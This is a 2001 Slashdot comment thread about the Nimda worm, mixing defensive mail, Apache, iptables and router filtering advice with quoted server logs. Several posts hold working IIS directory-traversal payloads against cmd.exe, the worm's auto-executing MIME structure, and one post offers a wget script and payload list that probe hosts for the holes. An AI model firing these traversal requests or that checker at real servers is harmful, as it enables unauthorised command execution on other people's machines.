[-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ Cu rrentVersion\Network\LanMan\O$]

[-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ Cu rrentVersion\Network\LanMan\P$]

[-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ Cu rrentVersion\Network\LanMan\Q$]

[-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ Cu rrentVersion\Network\LanMan\R$]

[-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ Cu rrentVersion\Network\LanMan\S$]

[-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ Cu rrentVersion\Network\LanMan\T$]

[-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ Cu rrentVersion\Network\LanMan\U$]

[-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ Cu rrentVersion\Network\LanMan\V$]

[-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ Cu rrentVersion\Network\LanMan\W$]

[-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ Cu rrentVersion\Network\LanMan\X$]

[-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ Cu rrentVersion\Network\LanMan\Y$]

[-HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\ Cu rrentVersion\Network\LanMan\Z$]

Re:How to stop Internet Explorer executing said wa

[NitsujTPU]

I'm not going to question that you got this from wget, but what I'm wondering is, how did you find all that out using wget? Perhaps I'm not as familiar with this utility as I should be?

At last!

[Anonymous Coward]

... somebody that knows how to properly spell that word that refers to the lower-backside orifice!! Congrats, Taco.

This page was generated by a Cockpit full of Suicidal Middle Eastern Fanatics.

Wietese has a fix for Postfix

[geirt]

Wietese Venema, the main developer of Postfix (you know, the wonderful
sendmail replacement that Redhat is removing from Redhat 7.2) posted this
to the postfix list:

-----------

There's a new worm hammering networks via email, via open shares,
and via vulnerable web servers.

Propagation via email can be stopped with:

/etc/postfix/main.cf:
body_checks = regexp:/etc/postfix/body_checks

/etc/postfix/body_checks:
/^[SPACE TAB]*name=.*\.exe/ REJECT

Inside the [] are one space and one tab.

This is also a reminder that Postfix needs decent MIME parsing
support so it can filter this sort of malware more effectively.

Wietse

The worm's MIME headers, with spaces inserted to avoid false alarms.

- - = = = = _ A B C 1 2 3 4 5 6 7 8 9 0 D E F _ = = = =
C o n t e n t - T y p e : m u l t i p a r t / a l t e r n a t i v e ;
b o u n d a r y = " = = = = _ A B C 0 9 8 7 6 5 4 3 2 1 D E F _ = = = = "

- - = = = = _ A B C 0 9 8 7 6 5 4 3 2 1 D E F _ = = = =
C o n t e n t - T y p e : t e x t / h t m l ;
c h a r s e t = " i s o - 8 8 5 9 - 1 "
C o n t e n t - T r a n s f e r - E n c o d i n g : q u o t e d - p r i n t a b l e

< H T M L > < H E A D > < / H E A D > < B O D Y b g C o l o r = 3 D # f f f f f f > < i f r a m e s r c = 3 D c i d : E A 4 D M G B P 9 p h e i g h t = 3 D 0 w i d t h = 3 D 0 > < / i f r a m e > < / B O D Y > < / H T M L > - - = = = = _ A B C 0 9 8 7 6 5 4 3 2 1 D E F _ = = = = - -

- - = = = = _ A B C 1 2 3 4 5 6 7 8 9 0 D E F _ = = = =
C o n t e n t - T y p e : a u d i o / x - w a v ;
n a m e = " r e a d m e . e x e "
C o n t e n t - T r a n s f e r - E n c o d i n g : b a s e 6 4
C o n t e n t - I D : < E A 4 D M G B P 9 p >

Re:A moment of being an idiot

[(void*)]

Dude, worms may spread via Unix systems, but they won't be so lame as to use email as one of the ways to propagate itself.

The last time there was a widespread Unix worm was the days of the Morris worm. That was more than ten years ago - an eon in Internet time. Since then, the dangers of buffer overrun exploits have been well documented, and bugs of this sort have been fixed and are continually being fixed. MS is merely a johnny come lately to this game, and it looks like Johnny didn't bother to learn from those that came before him.

First infections: Aug 30!

[MS]

Analysing the logs of one of my boxes (I got hit over 37000 time by nimda in less then 5 hours yesterday), I observed the same pattern of invalid GET requests on August 30 from 213.64.199.226 (that belongs to TeliaNet)

the interesting thing ist, that are are many similar requests, and it looks like someone trying to infect my server with different syntaxes (with some kind of script as the requests are fast one after another). My Server is a WinNT 4.0 box with IBM WebSphere (thats Apache), so it should not be affected by the usual IIS holes, but the attacker probably couldn't know that...

Here's the relevant part from my error_log (I substituted the document-root and script-root with DR and SR for obvious reasons), btw: the time is GMT+1 (mid-europe):
[Thu Aug 30 15:18:00 2001] File does not exist: (DR)/scripts/..ü~@~@~@~@/winnt/system32/cmd.exe
[Thu Aug 30 15:18:00 2001] File does not exist: (DR)/scripts/..ø~@~@~@/winnt/system32/cmd.exe
[Thu Aug 30 15:18:01 2001] File does not exist: (DR)/scripts/..ð~@~@/winnt/system32/cmd.exe
[Thu Aug 30 15:18:01 2001] File does not exist: (DR)/scripts/..à~@/winnt/system32/cmd.exe
[Thu Aug 30 15:18:01 2001] File does not exist: (DR)/iisadmpwd/..À..À..À..À..À/winnt/system32 /cmd.exe
[Thu Aug 30 15:18:01 2001] File does not exist: (DR)/scripts/..à~@/..à~@/..à~@/winnt/system32/c md.exe
[Thu Aug 30 15:18:01 2001] File does not exist: (DR)/iisadmpwd/..%2f..%2f..%2f..%2f..%2f..%2fwinnt /system32/cmd.exe
[Thu Aug 30 15:18:02 2001] File does not exist: (DR)/scripts/..Á/winnt/system32/cmd.exe
[Thu Aug 30 15:18:02 2001] (2)No such file or directory: script not found or unable to stat: (SR)/cgi-bin//..%5c..%5c..%5c..%5c..%5c..%5cwinnt
[Thu Aug 30 15:18:02 2001] File does not exist: (DR)/scripts/..Á~\/winnt/system32/cmd.exe
[Thu Aug 30 15:18:02 2001] File does not exist: (DR)/adsamples/..À..À..À..À..À/winnt/system32 /cmd.exe
[Thu Aug 30 15:18:02 2001] File does not exist: (DR)/scripts/..Á~\/winnt/system32/cmd.exe
[Thu Aug 30 15:18:03 2001] File does not exist: (DR)/adsamples/..%5c..%5c..%5c..%5c..%5c..%5cwinnt /system32/cmd.exe
[Thu Aug 30 15:18:03 2001] File does not exist: (DR)/scripts/..Á~\/winnt/system32/cmd.exe
[Thu Aug 30 15:18:03 2001] File does not exist: (DR)/_vti_cnf/..À..À..À..À..À/winnt/system32/ cmd.exe
[Thu Aug 30 15:18:03 2001] File does not exist: (DR)/_vti_cnf/..%5c..%5c..%5c..%5c..%5c..%5cwinnt/ system32/cmd.exe
[Thu Aug 30 15:18:03 2001] File does not exist: (DR)/scripts/..Á~\..Á~\..Á~\..Á~\winnt/system32/cm d.exe
[Thu Aug 30 15:18:03 2001] File does not exist: (DR)/_vti_bin/..À/..À/..À/winnt/system32/cmd.ex e
[Thu Aug 30 15:18:04 2001] File does not exist: (DR)/_vti_bin/..À/..À/..À/winnt/system32/cmd.ex e
[Thu Aug 30 15:18:04 2001] File does not exist: (DR)/_vti_bin/..À..À..À..À..À/winnt/system32/ cmd.exe
[Thu Aug 30 15:18:04 2001] File does not exist: (DR)/scripts/..Á^\/winnt/system32/cmd.exe
[Thu Aug 30 15:18:04 2001] File does not exist: (DR)/_vti_bin/..%5c..%5c..%5c..%5c..%5c/winnt/syst em32/cmd.exe
[Thu Aug 30 15:18:04 2001] File does not exist: (DR)/scripts/..Á^\..Á^\..Á^\..Á^\winnt/system32/cm d.exe
[Thu Aug 30 15:18:05 2001] File does not exist: (DR)/_vti_bin/..%5c..%5c..%5c..%5c..%5c/winnt/syst em32/cmd.exe
[Thu Aug 30 15:18:06 2001] File does not exist: (DR)/scripts/..À/winnt/system32/cmd.exe
[Thu Aug 30 15:18:06 2001] File does not exist: (DR)/scripts/..À..À..À..Àwinnt/system32/cmd.ex e
[Thu Aug 30 15:18:06 2001] File does not exist: (DR)/scripts/..À..À..À..À/winnt/system32/cmd.e xe
[Thu Aug 30 15:18:07 2001] File does not exist: (DR)/scripts/..%5c..%5cwinnt/system32/cmd.exe
[Thu Aug 30 15:18:08 2001] File does not exist: (DR)/scripts/..%2f..%2f..%2f..%2fwinnt/system32/cm d.exe
[Thu Aug 30 15:18:08 2001] File does not exist: (DR)/scripts..á~\/winnt/system32/cmd.exe
[Thu Aug 30 15:18:09 2001] File does not exist: (DR)/samples/..À..À..À..À..À/winnt/system32/c md.exe
[Thu Aug 30 15:18:09 2001] File does not exist: (DR)/samples/..%5c..%5c..%5c..%5c..%5c..%5cwinnt/s ystem32/cmd.exe
[Thu Aug 30 15:18:10 2001] File does not exist: (DR)/rpc/..%5c..%5c..%5cwinnt/system32/cmd.exe
[Thu Aug 30 15:18:10 2001] File does not exist: (DR)/rpc/..%5c..%5c..%5cwinnt/system32/cmd.exe
[Thu Aug 30 15:18:11 2001] File does not exist: (DR)/pbserver/..%5c..%5c..%5cwinnt/system32/cmd.ex e
[Thu Aug 30 15:18:12 2001] File does not exist: (DR)/à/~@/à/~@/à/~@//winnt/system32/cmd.exe/
[Thu Aug 30 15:18:12 2001] File does not exist: (DR)/à/~@/à/~@/à/~@//winnt/system32/cmd.exe
[Thu Aug 30 15:18:13 2001] File does not exist: (DR)/msadc/..À/..À/..À/winnt/system32/cmd.exe
[Thu Aug 30 15:18:13 2001] File does not exist: (DR)/msadc/..%5c/..%5c/..%5c/winnt/system32/cmd.ex e
[Thu Aug 30 15:18:13 2001] File does not exist: (DR)/msadc/..%5c..%5c..%5c..%5cwinnt/system32/cmd. exe
[Thu Aug 30 15:18:14 2001] File does not exist: (DR)/msadc/..%5c/..%5c/..%5c/winnt/system32/cmd.ex e
[Thu Aug 30 15:18:14 2001] File does not exist: (DR)/msadc/..%5c..%5c..%5c..%5cwinnt/system32/cmd. exe

Does someone have an explanation?

ms

Re:First infections: Aug 30!

[proberts]

The worm (like most of the recent ones) doesn't care what OS is running, so NT isn't really relevant.

Could you please contact me via e-mail, I'd like to ask a few more questions and your e-mail isn't available.

Thanks,

Paul
proberts@patriot.net

Re:Worm check out hit on Jul 12(!)

[MS]

I hab massive suspect GET-requests on Aug 30 (see my other posting: "Firs infections: Aug 30"), while the first requests I found with exactly the same pattern as yesterdays nimda hit my server on Jul 12 (so the worm was maybe around for quite a long time sleeping?).

Here are the log-entries:

mail.worcestercs.org - - [12/Jul/2001:03:39:40 +0200] "GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+d ir+c:%5C HTTP/1.0" 404 2004 "-" "libwww-perl/5.45"
mail.worcestercs.org - - [12/Jul/2001:03:39:42 +0200] "GET /msadc/..%255c../..%255c../..%255c../winnt/system3 2/cmd.exe?/c+dir+c:%5C HTTP/1.0" 404 2004 "-" "libwww-perl/5.45"
mail.worcestercs.org - - [12/Jul/2001:03:39:43 +0200] "GET /_vti_bin/..%5c..%5c..%5c..%5c..%5c../winnt/system 32/cmd.exe?/c+dir+c:%5C HTTP/1.0" 404 2004 "-" "libwww-perl/5.45"

ms

SARC (NAV) has update now!

[Anonymous Coward]

Go to the link in the update in the article. But some of the above still applies for automation...

PATCHES HAVE BEEN AVAILABLE FOR MONTHS!!!

[Anonymous Coward]

All the problems that this thing tries to exploit, both in IIS, and OE/IE, have had patches issued by microsoft, and put up on the Windows Update page as critical security updates, for months now! The patch to fix the OE malformed mime problem has been there since May I believe. The problem isn't microsoft's security awareness, they've fixed the problem in a timely fashion. The problem is that most microsoft product users are complete idiots and probably don't even know what a "patch" is.

And yet we have 1000+ comments here on slashdot ranting about how evil and bad microsoft is, how windows is sooo insecure and isn't a "real" os, how we should sue microsoft for all the negligence of having an insecure product, how microsoft doesn't seem to care at all about security etc etc.... Whereas In the Linux world, once there's a patch available for a security problem, the whole thing is over and done with! Double Standard!?

Network traffic and possible blocks. Any ideas?

[TheWil]

I have just tried to "slow" or stop this worm from hitting our servers but it appears to be basically a brute force worm. Can anyone provide information with what to send to it to tell you "I have the virus" or similar so the same web server won't keep knocking on the door. Currently about 50 IPs addresses are continually requesting different URLs.

My action was to add the following ".htaccess" file (for Apache):

--- RewriteEngine On RewriteRule ^c/.* nimda.phtml [L] RewriteRule ^d/.* nimda.phtml [L] RewriteRule ^MSADC/.* nimda.phtml [L] RewriteRule ^msadc/.* nimda.phtml [L] RewriteRule ^_mem_bin/.* nimda.phtml [L] RewriteRule ^_vti_bin/.* nimda.phtml [L] RewriteRule ^var/.* nimda.phtml [L] RewriteRule ^default.ida.* nimda.phtml [L] RewriteRule nimda.phtml nimda.phtml [L] ---

with the script "nimda.phtml" (actually called #$%&Off.phtml) looking like this:

--- ---

This seems to slow the virus but probably only delays it a little. It does not appear to operate sequentially (I haven't timed/tested).

Basically I'm looking for a way to reduce the network traffic. Even turning the web server off will still incur the cost of the traffic?

Wil
--
http://bd4.amristar.com.au/ (online game)

Re:Network traffic and possible blocks. Any ideas?

[Anonymous Coward]

To be honest I am getting so p***ed off with all these stupid Windoze people who don't even know that they are infected, these people should NOT own a computer at all.

At the moment, have resorted to denying all traffic to port 80 as I am loosing bandwidth, until I can come up with a solution to killing these bozos!!

wget, the forensic swiss army knive

[platypus]

uups,

sorry, this wasn't meant to say that wget did all that - it just showed the MIME-type.
The rest was leeched from different sources (my log files, ntbugtraq etc.)
I just wanted to quickly get the word out that disabling playing sounds in IE is not enough.

Re:wget, the forensic swiss army knive

[NitsujTPU]

Gotcha. So there is apparently an overflow in whatever plays .wavs for IE?

Re:wget, the forensic swiss army knive

[platypus]

No, it uses some silly ie/outlook security hole which allows for automatic execution of files (via browser). Funny thing is this - as I read - also works with the windows 98/ME/2000 active desktop preview feature, i.e. just _one_ click on the virus and you've lost.
Take a look at www.guninski.com for which vulnerabilities this worm might exploit, it seems a virus writer nowadays doesn't need to marter his brain doing machine code buffer overflows if he targets ms-products.

Re:Time for a class action lawsuit against Microso

[zerocool^]

I do not think it is ethical that microsoft is allowed, as a corporation to release insecure software over and over. I mean, you'd think that once they figured out that it was insecure, they'd fix it next go-round, right? Yeah, well....

What i was trying to bring to people's minds for a second is that this might not be the fault of the programmers, but of the administration. For example: When's the next major dot release of the linux kernel comming out? No one knows for sure, cause technically no one's up against a deadline, as a generalized statement about open source. When no one is paying you to write code, you get it done when you get it done, and done right. When someone is paying your paycheck and matching your 401k, you get it done when they want it done, tested or not. I mean, it may have a hole, but you gotta feed your kids, right?

So what i just want people to be careful about is not to say that M$ programming sucks, or that they employ lazy programmers, or that they don't have any idea what they're doing. Their instructions are "get it done, and make it pretty, and get it done two days ago".

Re:Network traffic ... (Weird Indian machine)

[TheWil]

Basically we can't do anything since an traffic which gets to us has already passed through our ISP and been changed for. Unless we can "pretend to be infected" and stop attacks there's no point. Anyway, ...

I added a php script (formatted out of last message) which logs the IP and hostname and does a bit of a sleep before returning a message). Of the IP addresses all except one (about 100 so far) started with 208. This one was 210.212.130.7 which we traced back through to India. Interestingly this machine was one of the few which was not itself infected (i.e. the web server returned forbiddens and 404 on the home page as opposed to the others which either gave cookies and were obviously in a crappy state or had been brought down).

We've since seen a 38.165.144.38 (onetooneinteractive.com) which doesn't begin with a 208 so I guess the worm tends to pick IPs "close" but every now and again chooses one far away. Either way our traces through Indian ISPs and similar looking IPs to www.pak.gov.pk didn't yield anything conclusive :)

Let's hope the FBI's as thorough before someone starts launching missiles,

Wil
--
http://bd4.amristar.com.au/

Ain't no fix

[valentyn]

That's silly. Do you really think that a worm will do anything with the HTTP-headers it receives in the answer? The worm connects, does a GET and sends more junk, but no way it listens to a "Redirect:" header.

Re:Ain't no fix

[BJH]

Well, it sure saves my error_log from filling up with "File not found" messages...

Re:Ain't no fix

[delta0]

And instead fills it with 301 redirects in their (404) place...

Bah.. you had the right idea, but the code just doesn't implement a response to result codes other than 200.

Now, if you make it so that your server detects the attack and then get's their machine to contact the MS for the rest of the day, requesting documents using the worm. Now that would be the way to use up even more traffic.

But why? Why not just have the worm delete itself from their machine? Fix their machine after it attacks you.. that way it won't abuse the network even more.

Re:Ain't no fix

[BJH]

Er... 301 redirects don't get logged to error_log, only to access_log (as would any access). Also, it saves you on file transfers if you have a custom 404 page set up.

Win2K SP2 Protects against this (and other info)

[somethingwicked]

Excuse if this is redundant, but I am not seeing this ANYWHERE.

I know that /. is often the first place that many people go to for solutions to these type of problems. The problem is that the AV sites (and Microsoft's own site) are directing all attention to one single patch.

SP2 also protects against the server vulnerabilty, though it isn't spelled out where everyone is being directed by Microsoft or the AV/News Companies. So if you have uped to SP2, the IIS issue is not a problem

For this info, go to
Protect Your Computers From the Nimda Worm
at Microsoft's site

Re:National Infrastructure Protection Center warni

[tapiwa]

Like all warts, you just keep squeezing until it pops

How we responded to an attack.

[NotForRent]

We got slamed at 12.27am EST in Melb. I unplugged the outside of our firewall then put a packetshaper b/n our firewall and the net. I got the top talkers on HTTP and if they were in our DHCP range (AKA end users on W2K and thus infected) did a ndtstat -A to see who they were and get the mac address. Jumped on the cisco switch and did a show cam then disabled the port. Spent must of the day re-imaging PCs. We will drop all external HTTP except via the proxy (should have cracked down on that ages ago anyway) and kill all outgoing devices that pop up sending directly out. Hope this will help stop this crap !
Did the patches (right way I hope) and updated the virus def files. Chose to stay off line till tomorrow.
Good luck folks

So, what yer really trying to say is...

[Codifex Maximus]

this exploit really only hits Windows boxes running IIS that haven't been properly patched?

Hmm... sounds like an administrator error.

*SHRUG*

Couldn't this be modified

[Anonymous Coward]

to install another browser automaticly? Instead of launching the readme.exe, run the installer for Opera or Mozilla or Netscape or even a patched version of IE (or just run the patch for the vulnerability)?

Re:Couldn't this be modified

[Anonymous Coward]

Hmm could be quite amusing to create a virus witch only action after infection was to patch the system and spread to 250 random computers..

Ok ok it will create a hell lot of anoing trafic but it will slowly die as the number of machines its able to infect drops..

/The real Q-Rious ;-)

make that OVER A YEAR!!!!

[Anonymous Coward]

heh, microsoft has known about the vunerability for almost a year (last october), and there's been a patch out that fixes it for OVER A YEAR (last august)http://www.microsoft.com/technet/treeview/d efault.asp?url=/technet/security/bulletin/MS00-078 .asp

the client side exploit (OE) has been known since march (with info on how to disable the feature it exploits), and there's been a patch since may http://www.microsoft.com/technet/treeview/default. asp?url=/technet/security/bulletin/MS01-020.asp

all these patches were widely visible on windows update at critical updates. I had already installed the patch, and couldn't figure out why all these demos of the vunerability didn't work.

all the linux zealots can shut the hell up now.

Re:CNN wrong as usual (on purpose?) about 'interne

[Anonymous Coward]

IIS patch to fix this problem was out on windows update almost a year ago.

Fix for OE was out several months ago, also on windows update.

How is this microsoft's fault? It's dumb administrators is what it is.

focus on /winnt/mmc.exe

[Anonymous Coward]

mmc.exe is the root of the problem. you can't delete it because it's in-process, up to 4 times. rename the file to something completely different, no "mmc" string in there, use m1m2c3_baaaaad.AeBxCe if you have to. reboot immediately. this iwll stop the network bashing, and allow you to start plucking out the damage and sew it up...

How to find out who started it?

[Anonymous Coward]

I'm figuring that it came in via the README.EXE attachments that a few people received, and one of them ran it.

Has anyone figured out a way to track down where it started?

Re:Does Nimda affect Cisco routers (a la Code Red)

[sup4hleet]

Where I work we have a ton of machines behind a 3640 running NAT. When ever one of these worms pops up the NAT tables fill and the router crawls. I've done a few things to keep the router from doing a complete face plant. The main thing is to enable CEF instead of using process switching (ip cef in global config mode) when used in conjunction with "service nagle" the router can do some effecient packet switching. Even with these preventative measures the router still slowed to almoost a stand still yesterday, at which point I used an access list to filter out all web traffic coming from our internal network destined for the internet. We could browse the web internally by using https://www.safeweb.com/ and email and web requests from the internet functioned better. This is because these worms open tens of connections per second and the router has to add a NAT entry for each attempted connection. Multiply that by 70 infected servers and that's a problem. Especially because many requests aren't responded to and have to be aged out of the NAT tables. To flush the NAT tables use "clear ip nat trans *" and your router will function fine long enough to put an access list on it :) Finally one last good idea is to black hole any private address space your not using because these worms will attempt to send packets to subnets that don't exist. For example: If your using 192.168.1.1/24 the worm might try to open a request to 192.168.3.66. This packet might get stuck in a routing loop needlessly tying up resources you really need. The solution is to "ip route 192.168.0.0 255.255.0.0 null0". This will drop any packets destined for unused subnets in the bit bucket where they won't bother you.

Amen bro...

[drumsetdrummer]

...how much more of this crap will have to happen before people finally ditch the instability and insecurity of Micro$oft products?

*nix is not that hard to learn and quite frankly has a lot more abilities than the MS equivalents. And it's mainly all free. In light of what's been going on lately it's almost unpatriotic to run MS servers anymore because they are so vulnerable to attacks. IMHO.

On the bright side...

[Alsee]

Maybe it's a good thing that this sucker uses so many attack methods, fixing an infected machine (or a threatened one) will close a lot of security holes all at once. It's better than having 6 different incidents and fixing the holes one at a time.

It would be amusing to see a worm running around patching security holes :)

Some barely useful scripts...

[Anonymous Coward]

To check for a host like Nimda would (vulnerable):

check:
while read req junk; do
wget -T 5 -O - -q "$1$req" | awk '{print ip " " req " " $0}' ip=$1 req=$req
done < check.list
check.list:
/scripts/root.exe?/c+dir
/MSADC/root.exe?/c+dir
/c/winnt/system32/cmd.exe?/c+dir
/d/winnt/system32/cmd.exe?/c+dir
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir
/_vti_bin/..%255c../..%255c../..%255c../winnt/sy stem32/cmd.exe?/c+dir
/_mem_bin/..%255c../..%255c../..%255c../winnt/sy stem32/cmd.exe?/c+dir
/msadc/..%255c../..%255c../..%255c/..%c1%1c../.. %c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+di r
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+di r
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+di r
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+di r
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+di r
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+d ir
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c +dir
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir
/c/winnt/system32/cmd.exe+/c+net%20send%20bla

To list hosts with ports 80 and 443 available:

scan:
while read network logfile junk; do
echo -n "Net:$network Log:$logfile " &&
nmap -q -sT -p 80,443 -T5 -n $network -oG $logfile && echo Ok || echo Failed
done < scan.list

scan.list:
192.168.1.* 192.168.1

Slightly useful..

Copyrighted Virus

[Anonymous Coward]

Quote:
The worm has a copyright text string that is never displayed:

Concept Virus(CV) V.5, Copyright©2001 R.P.China

UnQuote
from http://www.f-secure.com/v-descs/nimda.shtml

I guess that all the anti-virus makers have violated the DCMA! :)

UNIX is not more secure than Microsoft

[Tod DeBie]

No one should think that things would be so much better (from a security standpoint) if we would all run UNIX. Go over to Bugtraq and check out how many known exploits there are against your faviorite UNIX platform. I checked a week or so ago and there were about 40 known vulnerabilities for Windows 2000 plus IIS and about 40 for Sun plus Netscape Enterprise.

I agree that Microsoft could do more to stop this crap, but, for some time now, they have been quick to issue fixes for these things.

The real issue is twofold:

1. The patches are there to stop these attacks, but system administrators are not even close to staying up to date. This is due to overwork, laziness, fear of introducing new problems and corporate policies.

2. Windows is very popular and therfore the target of attack. If all of those using Windows on the Internet were to switch to Linux, then the attackers would start writing more attacks for Linux and they would get more publicity.

The grass is not (much) greener on the other side.

Tod

APACHE for Linux fix, works great!

[Anonymous Coward]

Bandwidth went down after applying this.
srm.conf ==> on redhat 6.x servers
httpd.conf ==> on redhat 7.x servers

Make sure you turn Host Name Lookups off from the on position, this will speed up the dns and page downloads alot
HostnameLookups Off ==> this should be Off

Then add the following lines right under the error code lines in either srm or httpd depending which os you have

####Redirect this Nimda Worm ### Written by Brian Fairchild (www.amhosting.com)
RedirectMatch /system32/ http://support.microsoft.com
Redirect /d/^*\.(exe|dll).* http://support.microsoft.com
Redirect /c/^*\.(exe|dll).* http://support.microsoft.com
Redirect /scripts/^.*\.(exe|dll).* http://support.microsoft.com
RedirectMatch /MSADC/ http://support.microsoft.com
RedirectMatch /msadc/ http://support.microsoft.com
Redirect /scripts/ http://support.microsoft.com
RedirectMatch ^.root\.(exe).* http://support.microsoft.com
RedirectMatch ^.cmd\.(exe).* http://support.microsoft.com
RedirectMatch /default.ida http://support.microsoft.com
#RedirectMatch ^.*\.(exe|dll).* http://support.microsoft.com
####Redirect this Nimda Worm ### Written by Brian Fairchild

Re:APACHE for Linux fix, works great!

[delta0]

This worm doesn't follow 30x redirects -- you're attempts to deflect the attacks are futile against the Borg.

Debian is easy.

[twitter]

alot of the boxen that are being infected are doing so because they are running default installs with no patches. if you told me you were running a default redhat install i would laugh my ass off.

I'm not that informed, but two simple Debian lines are not too much to ask of anyone. First, remove the little # marks from /etc/apt/sources.list, then :>

apt-get upgrade

apt-get update

Bango, you've got upgrades and "patches".

Red Hat has a more mousey web based upgrade system that will work on one machine without fee. Just go visit their web site and look for support. With a little effort, you can learn how to use RPM and gnoRPM (?). Try "info rpm" or "man rpm" at a bash prompt, that tv with a foot on it called gnome terminal.

There you go. That's nicer than being laughed at, isn't it?

Hope i get this

[Microsofts slave]

im starting a virus zoo :) (j/k)!

Nimda(C)

[LittleGuy]

According to incidents.org --

The worm contains a copyright string embedded in its executable:
Concept Virus(CV) V.5, Copyright(C)2001 R.P.China

Great. Not only do you have to clean your machine, but you're automatically in violation of the DMCA.

Netfilter can help!

[greyguppy]

While this may only be relevant to a small number of people, anyone with Linux 2.4.0 upwards and ip-tables / netfilter can use the string match to DROP any packets with the signature of these worms.

iptables -I INPUT -i eth0 -p tcp --tcp-flags ACK,PSH ACK,PSH --dport 80 \
-m string --string '/default.ida?' -j REJECT
--reject-with tcp-reset

will handle code red I/II.
For NIMDA adjust the string accordingly.
(This is copied from a post in comp.os.linux.security by Ian Jones. He deserves the credit. I am just copying and pasting)

One Word: Lynx

[Anonymous Coward]

Ouch.

If you're going to go to a site that has a virus like this, should run lynx to do it on your Linux box. Or at least run lynx on Windows. Sure, it's annoying trying to read all these lousy graphics-intensive sites, but it's safe.

Nimda linguistic root

[Anonymous Coward]

I haven't heard anyone point out what seems obvious: Nimda is Admin backwards

Is this just so clear that no one bothered to mention it or did this really slip by?

Nimda Worm Registry

[real_octane]

Due to the enormous spread of the Nimda Worm, we crated a Database of infected Hosts. Since this morning we do have more than 2000 possibly infected hosts in our database.

If you like to contribute to this Project, check for infected Hosts or use the Database for yourself, feel free to have a look at http://home.jungnickel.com/nimda.php

If you already collected a lot of infected IP-Adresses, you may also send this list as a contribution to nimda-submission@jungnickel.com

We'd like to thank anyone helping with this project in advance.

Sincerely Yours, Jan Jungnickel

Where do I put this?

[shaldannon]

...not having played with this sort of thing before. (Red Hat)

Quick solution for Apache users....

[Atilla]

httpd.conf: (globals)

Alias /errordocs/ /path/to/errordoc/directory/
ErrorDocument 404 /errordocs/404.php (or .pl)

then, make a perl or php script of whatever that does a regular expression match in $REQUEST_URI variable (looking for cmd.exe) and adds an iptables or ipchains entry for $REMOTE_HOST variable.

that way at least you won't get repeat attacks from the same host and save some bandwidth :)

Re:Quick solution for Apache users....

[real_octane]

Yeah, right. You could also point an ErrorDocument to our Nimda-Worm Registry by putting the following line into your http.conf:

ErrorDocument 404 http://home.jungnickel.com/

Re:Outlook Express 7.0 can prevent spread also.

[DVega]

Outlook Express 7.0 can prevent spread also.

Tools -> Options -> Security -> check "Do not allow to send or receive any mail on this machine"

basic stats

[Jahf]

I made a copy of the log on 2001-09-19T2019GMT-6 (about 36 hours later), deleted any portions of the log prior to the latest round of probes starting at:

[Tue Sep 18 08:17:26 2001] [error] [client 216.254.80.145] File does not exist: /home/groups/home/web/MSADC/root.exe

And then ran some basic numbers ... this attack is definitely hitting me more than Code Red.

[/tmp]# grep -i root.exe error | wc -l
1433
[/tmp]# grep -i msadc error | wc -l
1159
[/tmp]# grep -i '../winnt' error | wc -l
4827
[/tmp]# grep -i 'vti' error | wc -l
525
[/tmp]# grep -i 'default.ida' error | wc -l
21

test

[empesey]

test

Re:Analysis of Attacks:

[Anonymous Coward]

Is there somewhere we can download this script? I can not get it to work on my system, and would like to know the count from my firewall so far.

Thanks

Detailed history of Microsoft Exploits.

[Anonymous Coward]

Can anyone direct me to a web page that has a history of all these microsoft specific exploits?
Their dates and specifics about the scale of damage they caused would be nice.
Holes (Outlook virii, worms, etc) that would be usefulin presenting to pointy-hairs next time they start whining about free operating systems being 'too risky' etc.

Someone needs to make such a web page if there isn't one already.

Confirm open after download.......ofcource

[Anonymous Coward]

The "confirm after download" problem with office files has been known for a while now, microsoft has a tool to silently enable the "confirm after download" option on office files

Damage Report from Three Financial Companies

[Anonymous Coward]

(1) My mother's boss left her a voice mail first thing Wednesday morning telling her not to even turn on her computer. She still hasn't been given the green light. My mother is a loan officer for a big, unique US financial institution with thousands of employees. She was told to call anyone who might be trying to reach her via email and tell them that her personal email was down. Wednesday evening she was told that all the computers had to be returned to IT and re-imaged before use.

(2) I am refinancing my house right now, and sent an email to my loan officer (not related to me ;) Wednesday morning. It bounced. I called him,
and he said "Oh yeah, we're switching ISPs or something, and it just hasn't recognized the new ISP yet." Right.

(3) One of my clients, a really-big financial institution, shut down pretty much everything on Tuesday evening and were down all day Wednesday.

--
"Very many American lives have been lost. Always we will remember the
character of the onslaught against us. No matter how long it may take
us to overcome this premeditated invasion, the American people in their
righteous might will win through to absolute victory." -- Franklin
Delano Roosevelt, December 8, 1941

Re:How to stop Internet Explorer executing said wa

[seafoodforklift]

You are right, this thing is an utter bitch in terms of infection rate, it's more or less taken down all our unpatched servers here (d'oh!) and shut down our external email for a day. However, it doesn't seem to be making too much damage apart from taking up bandwidth and CPU time and increasing log size.

I'm getting really paranoid. Could it be that it may be going for a denial of service attack, like Code Red?

Re:We got it and it used RealPlayer to lock us out

[feorag]

...it used RealPlayer to keep respawning itself, causing explorer to crash repeatedly and eventually fill up virtual memory until it crashed.

The person stood behind me reading over my shoulder says "That's what RealPlayer does anyway!"

Re:Is this just the old Unicode exploit?..qtrain?

[redintell]

like your suggestion.. little more help.. what is qtrain? where can i find it?

Re:Time for a class action lawsuit against Microso

[Anonymous Coward]

Yes, but netscape gave you the option to turn it off.